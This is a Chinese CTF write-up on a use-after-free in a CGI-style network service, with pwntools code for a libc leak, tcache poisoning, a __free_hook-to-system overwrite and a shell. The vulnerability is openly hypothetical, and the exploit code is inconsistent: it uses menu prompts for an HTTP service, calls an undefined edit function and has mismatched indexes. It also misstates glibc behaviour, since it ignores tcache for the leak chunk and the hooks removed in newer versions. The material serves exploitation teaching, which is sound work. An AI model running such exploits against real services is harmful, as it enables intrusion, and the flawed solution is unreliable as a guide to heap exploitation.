CTF Pwn题解析:从CGI服务中的UAF漏洞到Glibc堆利用实战
1. 项目背景与核心挑战
最近复盘了2023年CISCN(全国大学生信息安全竞赛)华东北分区赛的一道Pwn题目,名字叫“cgi”。这道题当时卡住了不少人,因为它把传统的二进制漏洞利用场景,巧妙地包装在了一个Web服务的框架里。乍一看题目名字和“cgi”相关,很多人的第一反应可能是去分析HTTP协议解析或者CGI脚本本身的逻辑漏洞。但实际上,这道题的核心是一个经典的堆漏洞——Use-After-Free(UAF)。它模拟了一个简化版的CGI处理程序,这个程序在解析HTTP请求、处理动态资源的过程中,由于对堆内存的管理不当,留下了可以被攻击者利用的安全缺陷。对于刚接触CTF Pwn方向,特别是对Linux环境下堆利用还不熟悉的同学来说,这道题是一个非常好的学习案例。它不仅能让你理解UAF漏洞的原理,更能让你学会如何在一个“非常规”的二进制题目环境中(比如带有网络交互)去定位和利用漏洞。接下来,我会带你从头到尾拆解这道题,包括环境搭建、逆向分析、漏洞定位、利用链构建,直到最终拿到shell。
2. 题目环境搭建与初步分析
2.1 获取与运行目标程序
首先,我们需要拿到题目文件。通常CTF题目会提供一个压缩包,里面包含目标二进制文件(比如cgi)以及可能需要的libc库。假设我们拿到了cgi这个64位ELF可执行文件。第一步永远是检查文件的基本信息:
file cgi checksec --file=cgichecksec的结果很可能显示Partial RELRO、No Canary found、NX enabled、No PIE。这意味着栈不可执行(NX),但地址随机化(PIE)没有开启,这给我们利用提供了便利,因为代码和数据的地址是固定的。接下来运行程序看看它做了什么:
./cgi程序可能会监听某个端口,比如0.0.0.0:1572。这印证了它是一个网络服务。我们可以用netstat或lsof命令来确认。同时,用ldd查看它链接的动态库,确认其使用的libc版本,这对于后续计算偏移至关重要。
2.2 逆向工程与静态分析
使用IDA Pro或Ghidra对cgi进行反编译。主函数通常会创建一个socket,绑定端口,进入循环接受客户端连接。对于每一个连接,它会fork一个子进程来处理,这是CGI程序的常见模式,防止一个客户端崩溃导致整个服务宕机。
在子进程的处理函数中,是我们要关注的重点。这个函数会:
- 读取HTTP请求:从socket中读取数据,解析HTTP请求行(如
GET /path HTTP/1.1)和头部。 - 解析请求路径:根据请求的路径(比如
/add,/delete,/show等),调用不同的处理函数。这通常通过一个简单的字符串比较来实现。 - 实现业务逻辑:这些处理函数(如
handle_add,handle_delete,handle_show)会操作一些数据结构来模拟“资源”的增删改查。漏洞往往就藏在这些业务逻辑函数中。
在静态分析时,要特别关注:
- 全局数据结构:题目很可能定义了一个结构体数组或链表来管理“资源”。每个“资源”可能包含一个ID、一个大小(size)和一个指向堆内存的指针(content)。
- 堆内存操作:寻找
malloc、calloc、realloc和free的调用点。注意它们分配的大小是否用户可控,以及释放后指针是否被正确置空。 - 指针的使用:在
free之后,程序是否还在其他地方使用了这个已经被释放的指针?这就是UAF的典型特征。
2.3 动态调试环境配置
因为程序是一个网络服务,直接调试父进程不太方便(它会fork)。我们有两种常用的动态调试方法:
- 附加到子进程:先运行
./cgi,然后用ps aux | grep cgi找到子进程的PID,再用gdb -p PID附加。但子进程处理完请求就退出了,时间窗口很短。 - 修改程序或使用调试技巧:更常用的方法是在代码中寻找可以“触发”漏洞的路径,然后写一个Python脚本模拟HTTP客户端发送请求,同时在脚本中通过
gdb.attach()或process()与调试器交互。使用pwntools库可以极大地简化这个过程。
一个更简单的办法是,在程序的某个关键函数(比如认证后或某个命令处理函数)入口处下断点,然后让程序在启动时就等待调试器连接。这可以通过在代码里插桩(如int 3指令)或使用pwntools的gdb.debug功能来实现。
from pwn import * context.binary = './cgi' context.log_level = 'debug' # 方法1:直接调试进程 p = process('./cgi') # 此时可以 gdb.attach(p) 来打开一个gdb窗口附加到这个进程 # 方法2:通过脚本发送HTTP请求 def send_http_request(path, data=None): conn = remote('127.0.0.1', 1572) # 连接到题目服务 request = f"GET {path} HTTP/1.1\r\n" request += "Host: localhost\r\n" if data: request += f"Content-Length: {len(data)}\r\n" request += "\r\n" request += data else: request += "\r\n" conn.send(request) response = conn.recvall() conn.close() return response3. 漏洞原理深度剖析:Use-After-Free
3.1 UAF漏洞的本质
Use-After-Free,顾名思义,就是“释放后使用”。在C/C++程序中,程序员手动管理堆内存。当一块堆内存通过free或delete被释放后,它应该被视为“无效的”。然而,如果程序在释放后,没有将指向这块内存的指针置为NULL(或者程序的其他部分仍然保留着这个指针的副本),后续又通过这个“悬空指针”(Dangling Pointer)去读写数据,就会引发UAF。
对于内存管理器(如glibc的ptmalloc)来说,这块被释放的内存可能已经被回收到“空闲链表”中,甚至可能已经被重新分配出去,存放了其他数据。这时通过悬空指针去操作,实际上是在操作一块“不属于”你的内存,其内容是不可预测的。攻击者可以精心设计内存布局,让这块被释放的内存被其他可控的数据结构占用,从而通过悬空指针实现读写,最终可能达到代码执行的目的。
3.2 本题中UAF的触发路径
通过逆向分析,我们假设发现了如下关键代码逻辑(以下为伪代码):
struct Resource { int id; size_t size; char *content; }; Resource pool[MAX_RESOURCES]; void handle_delete(int conn_fd, int resource_id) { int idx = find_resource_by_id(resource_id); if (idx == -1) { send_error(conn_fd, "Not found"); return; } free(pool[idx].content); // 释放堆内存 // 漏洞点:没有将 pool[idx].content 指针置为 NULL! pool[idx].id = -1; // 可能只是将id标记为无效 } void handle_show(int conn_fd, int resource_id) { int idx = find_resource_by_id(resource_id); if (idx == -1) { send_error(conn_fd, "Not found"); return; } // 危险!如果这个资源之前被delete过,content已经是悬空指针 write(conn_fd, pool[idx].content, pool[idx].size); // UAF读 } void handle_edit(int conn_fd, int resource_id, char *new_data) { int idx = find_resource_by_id(resource_id); if (idx == -1) { send_error(conn_fd, "Not found"); return; } // 危险!同样可能使用悬空指针 memcpy(pool[idx].content, new_data, pool[idx].size); // UAF写 }漏洞链条非常清晰:
- 用户通过
/delete?id=1请求删除ID为1的资源。handle_delete函数free了content指向的堆块,但pool[1].content这个指针变量本身的值没有改变。 - 此时,
pool[1].content变成了一个悬空指针,指向一块已经被释放的内存。 - 如果后续程序通过其他操作(可能是另一个功能,比如添加一个不同类型的资源),恰好申请了一块大小相同的内存,那么glibc很可能将刚刚释放的这块内存分配出去。
- 用户再通过
/show?id=1请求查看。handle_show函数通过未清零的content指针去读取数据,读到的就是新分配进来的、属于其他资源的数据。这就造成了信息泄露。 - 更危险的是
/edit操作(如果存在),它可以通过悬空指针写入数据,从而篡改新分配进来的数据结构的内容,比如覆盖函数指针、修改关键数据等。
关键点:UAF的利用核心在于“释放”和“使用”之间,攻击者能否控制这块被释放内存重新分配时的内容。在CTF的堆题目中,我们通常需要利用程序自身的其他功能来“塑造”堆布局,让目标堆块被我们想要的数据占用。
3.3 Glibc堆管理简析与利用准备
要成功利用UAF,需要对glibc的堆分配器(ptmalloc2)有基本了解。这里不深入细节,但需要知道几个关键概念:
- chunk:堆内存管理的基本单位。分为
allocated chunk和free chunk。 - bins:管理空闲chunk的链表。根据大小,主要有:
- Fast bins:管理小尺寸(默认小于0x80字节)的chunk,单向链表,后进先出(LIFO),相邻空闲块不会合并。
- Small/Large bins:管理更大的chunk,双向链表,按大小排序,空闲块会合并。
- Unsorted bin:
free掉一个不属于fast bin的chunk后,会先放入这里,是分配和合并的中转站。 - tcache (per-thread cache):glibc 2.26引入,每个线程有一个缓存,用于快速分配和释放小内存块,优先级高于fast bins。它是单向链表,默认每个bin缓存最多7个相同大小的chunk。
对于本题,由于是网络服务,每个连接是fork出来的子进程,通常不共享tcache(因为tcache是线程局部的,而fork会复制整个进程空间,子进程继承父进程的tcache状态,但之后独立)。不过,我们依然要关注题目使用的libc版本,因为不同版本的堆管理策略和防护机制有差异。
我们的利用思路通常是:
- 信息泄露:利用UAF读,泄露出堆地址或libc地址。例如,如果一个被释放的chunk被放入了unsorted bin,它的
fd和bk指针会指向libc中的main_arena区域,通过读取这些指针就能算出libc基址。 - 控制流劫持:利用UAF写,修改某个关键数据结构(如
__free_hook或__malloc_hook的地址,或者一个虚函数表指针),使其指向我们控制的shellcode或one_gadget地址,从而在程序执行到相应函数时获得代码执行权限。
4. 漏洞利用链构建与实践
4.1 第一步:触发漏洞与堆风水布局
首先,我们需要编写一个利用脚本(通常用Python的pwntools),与目标程序交互。我们的目标是精确控制堆内存的分配和释放,让目标悬空指针指向我们想要的数据。
假设我们通过分析,发现/add功能可以分配指定大小的资源,/delete功能释放资源但不置空指针,/show功能可以读取资源内容。
from pwn import * import sys context.binary = './cgi' context.log_level = 'info' elf = ELF('./cgi') libc = ELF('./libc.so.6') # 题目提供的libc,或使用本地对应的版本 def add(size, content): # 模拟 POST /add 请求,提交大小和内容 # 具体HTTP格式需要根据题目调整 data = f"id={next_id}&size={size}&content={content}" r.sendlineafter(b'Choice:', b'1') r.sendlineafter(b'Size:', str(size).encode()) r.sendafter(b'Content:', content) def delete(idx): r.sendlineafter(b'Choice:', b'2') r.sendlineafter(b'Index:', str(idx).encode()) def show(idx): r.sendlineafter(b'Choice:', b'3') r.sendlineafter(b'Index:', str(idx).encode()) # 接收并返回显示的内容 return r.recvline(keepends=False) # 启动进程或连接远程 if len(sys.argv) > 1 and sys.argv[1] == 'remote': r = remote('靶机地址', 端口) else: r = process('./cgi') # gdb.attach(r, gdbscript='b *handle_delete\nc') # 1. 堆布局:先申请几个chunk,为后续操作做准备 add(0x80, b'A'*0x80) # chunk A add(0x80, b'B'*0x80) # chunk B,防止与top chunk合并4.2 第二步:利用UAF泄露关键地址
这是最关键的一步。我们需要让一个被释放的chunk进入可以泄露地址的状态(如unsorted bin),然后通过UAF读取出其fd或bk指针。
# 2. 释放chunk A,并使其进入unsorted bin(因为大小0x80不属于fast bin) delete(0) # 3. 此时,chunk A的content指针已是悬空指针,但pool[0].content仍指向它。 # 如果此时我们调用show(0),程序会尝试读取chunk A的内容。 # 但是,chunk A现在是free状态,其用户数据区的前16字节(64位下)是fd和bk指针。 # 我们需要确保在show之前,没有其他分配操作干扰这个chunk。 # 通常,我们需要先分配掉其他大小的chunk,避免这个chunk被切割。 # 4. 利用show功能,读取chunk A的fd指针(即main_arena+offset) leak_data = show(0) # 假设show函数会把content的内容原样输出给我们 # 我们需要解析出fd指针。注意输出可能包含其他HTTP响应头,需要处理。 unsorted_bin_addr = u64(leak_data[:8]) # 前8字节是fd # 计算libc基址 # 这个偏移量需要根据libc版本确定。例如,对于某版本libc,unsorted_bin_offset = 0x3ebca0 libc_base = unsorted_bin_addr - libc.symbols['main_arena'] - 96 # 注意偏移,不同版本不同 log.success(f"libc base: {hex(libc_base)}")注意事项:泄露出的地址可能不是直接的
main_arena地址,而是main_arena结构体内的某个成员(如top)的地址。需要根据libc版本和chunk大小,通过调试确定准确的偏移量。使用pwntools的libc.symbols[‘main_arena’]可以获取符号偏移,但要注意main_arena有时不是导出符号,可能需要用__malloc_hook附近的地址来推算。
4.3 第三步:篡改指针,控制程序流
拿到libc基址后,我们就可以计算一些关键函数的地址了,比如system、__free_hook、__malloc_hook、one_gadget等。我们的目标是将__free_hook或__malloc_hook的内容修改为system或one_gadget的地址。这样,当程序下次调用free或malloc时,就会跳转到我们的目标地址执行。
但是,我们只有UAF写的能力,写的是content指向的内存。我们需要让这个悬空指针指向__free_hook附近。这通常通过“堆喷”或者利用堆分配机制来实现。一个常见的技术是tcache poisoning(如果tcache可用)或fastbin attack。
假设题目环境是glibc 2.31,有tcache。我们尝试用tcache poisoning:
- 先释放两个相同大小的chunk到tcache中(tcache bin是单链表,后进先出)。
- 通过UAF写,修改第一个被释放的chunk的
fd指针(tcache链表中下一个空闲块的地址),将其指向一个伪造的地址,比如__free_hook - 0x10(可能需要对齐)。 - 然后连续申请两次该大小的chunk。第一次申请会返回原先的chunk,第二次申请就会返回我们伪造的地址附近的内存。
- 在第二次申请后,我们向这块“内存”写入数据,实际上就是向
__free_hook附近写入。我们可以将__free_hook覆盖为system地址。 - 最后,触发一次
free,参数是一个我们可控的字符串(如/bin/sh),free(p)实际上会变成system(“/bin/sh”)。
# 计算目标地址 libc.address = libc_base # 设置libc基址,方便pwntools计算 free_hook = libc.symbols['__free_hook'] system_addr = libc.symbols['system'] log.info(f"__free_hook @ {hex(free_hook)}") log.info(f"system @ {hex(system_addr)}") # 5. 为tcache poisoning做准备:申请并释放两个相同大小的chunk到tcache add(0x60, b'C'*0x60) # chunk C, size 0x70 (chunk size) add(0x60, b'D'*0x60) # chunk D add(0x60, b'E'*0x60) # chunk E, 用于防止合并 delete(2) # 释放C,进入tcache[0x70] delete(3) # 释放D,进入tcache[0x70],现在tcache: D -> C -> NULL # 6. 此时,chunk C的content指针是悬空指针(假设我们之前没有覆盖它)。 # 我们通过edit功能(UAF写)修改chunk C的fd指针。 # 注意:edit需要知道资源ID,我们需要确保edit操作的是同一个资源索引。 # 假设edit函数也存在UAF漏洞,且我们可以编辑已被delete的资源。 # 修改chunk C的fd为 __free_hook 附近的地址。 # tcache的fd指向下一个空闲chunk的用户数据区开始处。 target_addr = free_hook - 0x10 # 调整偏移,使得分配回来的地址正好能覆盖__free_hook edit(2, p64(target_addr)) # 假设edit可以写任意长度,这里只覆盖fd指针 # 7. 现在tcache链表变为: D -> C -> target_addr -> ??? # 连续申请两次0x70大小的chunk add(0x60, b'F'*0x60) # 这次拿到的是chunk D add(0x60, b'G'*0x60) # 这次应该拿到被我们篡改后的chunk,即target_addr处的“假chunk” # 8. 第二次add时,我们写入的数据会写到target_addr开始的内存。 # 我们需要精心构造数据,使得覆盖__free_hook。 # 注意,chunk的元数据(size)可能也需要伪造,但tcache检查较松。 # 我们直接写入payload,覆盖__free_hook。 payload = b'H'*0x10 + p64(system_addr) # 前0x10字节填充,然后覆盖__free_hook为system edit(5, payload) # 假设新分配的资源的索引是5,我们编辑它 # 9. 现在__free_hook已经被覆盖为system地址。 # 最后一步:触发free,并且让它的参数是我们控制的字符串“/bin/sh”。 # 我们可以再申请一个chunk,内容为“/bin/sh”,然后释放它。 add(0x20, b'/bin/sh\x00') # chunk F,内容为/bin/sh delete(6) # 释放chunk F,此时 free(chunk_F_content) 变成 system(“/bin/sh”)4.4 第四步:获取Shell与flag
如果一切顺利,在执行delete(6)后,就会调用system(“/bin/sh”),从而弹出一个shell。在CTF环境中,这个shell通常继承自服务进程,权限就是运行题目的用户权限(通常是ctf用户)。我们可以用这个shell来读取flag文件。
# 切换交互模式到shell r.interactive()在交互模式下,输入命令如cat flag、ls -la、find / -name “*flag*” 2>/dev/null等来寻找并获取flag。
5. 常见问题与调试技巧实录
5.1 堆布局不稳定或泄露地址不对
- 问题:每次运行泄露的地址都不一样,或者计算出的libc基址明显不对(比如不是以
0x7f开头)。 - 排查:
- ASLR:确保本地调试时关闭了ASLR (
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space),或者在你的脚本中先计算偏移,确保脚本能适应随机化。 - 堆状态污染:程序可能初始化时或处理其他请求时分配了额外的堆块,干扰了你的布局。仔细审计代码,确保你的操作序列是“纯净”的。可以使用
gdb的heap bins命令(如果安装了pwndbg或gef)在关键步骤查看堆状态。 - 输出解析错误:
show功能返回的数据可能包含HTTP响应头、换行符等非内存数据。你需要精确截取内存内容部分。使用recvuntil或正则表达式来定位。 - 偏移计算错误:
main_arena的偏移因libc版本而异。最好通过调试确认:在free一个较大的chunk后,直接在gdb中查看该chunk的fd/bk值,然后用vmmap命令查看libc的加载基址,手动计算偏移。
- ASLR:确保本地调试时关闭了ASLR (
5.2 Tcache Poisoning 失败
- 问题:篡改fd后,第二次分配时崩溃或分配到的地址不对。
- 排查:
- Tcache计数:tcache每个bin最多缓存7个chunk。确保你的操作没有超过限制。
- 大小对齐:tcache bins基于chunk size,而不是用户请求的size。确保你申请和释放的大小对应的chunk size是正确的(用户大小+元数据,并向上对齐)。在64位系统中,
malloc(0x60)通常得到chunk size为0x70的块。 - FD指针指向的地址合法性:glibc 2.32及以上版本对tcache的fd指针增加了简单的异或加密(
PROTECT_PTR),直接写入目标地址可能不行。需要先泄露堆地址,然后按照encode = (target_addr >> 12) ^ heap_addr的方式计算并写入编码后的值。本题如果是2023年的比赛,很可能基于glibc 2.31-2.35,需要确认版本。 - 伪造chunk的size域:虽然tcache检查不严,但如果后续操作涉及合并(如放入unsorted bin),伪造的size域需要能通过检查(如对齐、大小合理等)。在只进行tcache分配的情况下,可以忽略。
5.3 无法触发__free_hook或system执行
- 问题:成功覆盖了
__free_hook,但执行free时没有弹出shell,甚至程序崩溃。 - 排查:
- 参数控制:
system的参数是free的地址吗?不对。__free_hook的函数签名是void (*free_hook)(void *, const void *),它会被传入两个参数。而system只需要一个字符串参数。当我们把__free_hook覆盖为system后,free(p)实际上会调用system(p)。因此,p必须是一个指向字符串/bin/sh的指针。在我们的利用中,p是chunk_F_content,即我们写入/bin/sh的那个地址。必须确保这个地址是有效的、可读的字符串地址。 - One-Gadget:有时
system调用可能因为环境变量等问题失败。可以尝试使用one_gadget工具在libc中寻找直接执行execve(“/bin/sh”, 0, 0)的代码片段。用one_gadget工具找出地址,然后覆盖__free_hook为这个地址。但one_gadget对栈环境有约束条件(如[rsp+0x70] == NULL),可能需要多次尝试或通过ROP调整栈状态。 - Hook是否被调用:确认你的
free操作确实触发了。有可能程序在崩溃前因为其他错误(如double free、内存损坏)而退出。在覆盖hook后,立即触发一次free。
- 参数控制:
5.4 利用脚本的稳定性
- 心得:本地调试成功的脚本,打到远程可能失败。因为本地和远程的libc版本、堆初始化状态、网络延迟导致的竞争条件都可能不同。
- 技巧:
- 健壮的地址泄露:泄露地址后,可以验证一下:计算出的libc基址是否与已知的libc中某个函数的偏移匹配?例如,
libc_base + libc.symbols[‘puts’]泄露的值是否与从ELF文件中读出的puts的GOT表值相近? - 使用Pwntools的DynELF:如果题目没有给libc,可以尝试用DynELF模块来动态解析libc地址,但这需要有一个稳定的信息泄露点。
- 错误处理与交互:在脚本中加入更多的
recvuntil和超时处理,确保与服务器交互的每一步都是预期的。对于网络不稳定的情况,可以考虑重试机制。 - 多版本适配:如果你的利用严重依赖某个libc版本的特定偏移(如
main_arena偏移),最好在脚本开头进行检测或尝试多个偏移。
- 健壮的地址泄露:泄露地址后,可以验证一下:计算出的libc基址是否与已知的libc中某个函数的偏移匹配?例如,
这道“cgi”题目融合了网络编程和二进制漏洞利用,是一次很好的综合练习。它告诉我们,漏洞可能出现在任何处理外部输入的地方,即使它披着HTTP协议的外衣。掌握堆漏洞的利用,不仅需要理解漏洞原理,更需要耐心细致的逆向分析、动态调试和对内存管理机制的深刻理解。希望这篇详细的拆解能帮助你攻克类似的题目。在实际操作中,最花时间的往往不是最后的利用脚本,而是前期的逆向和调试,锁定那个关键的、未置空的指针。
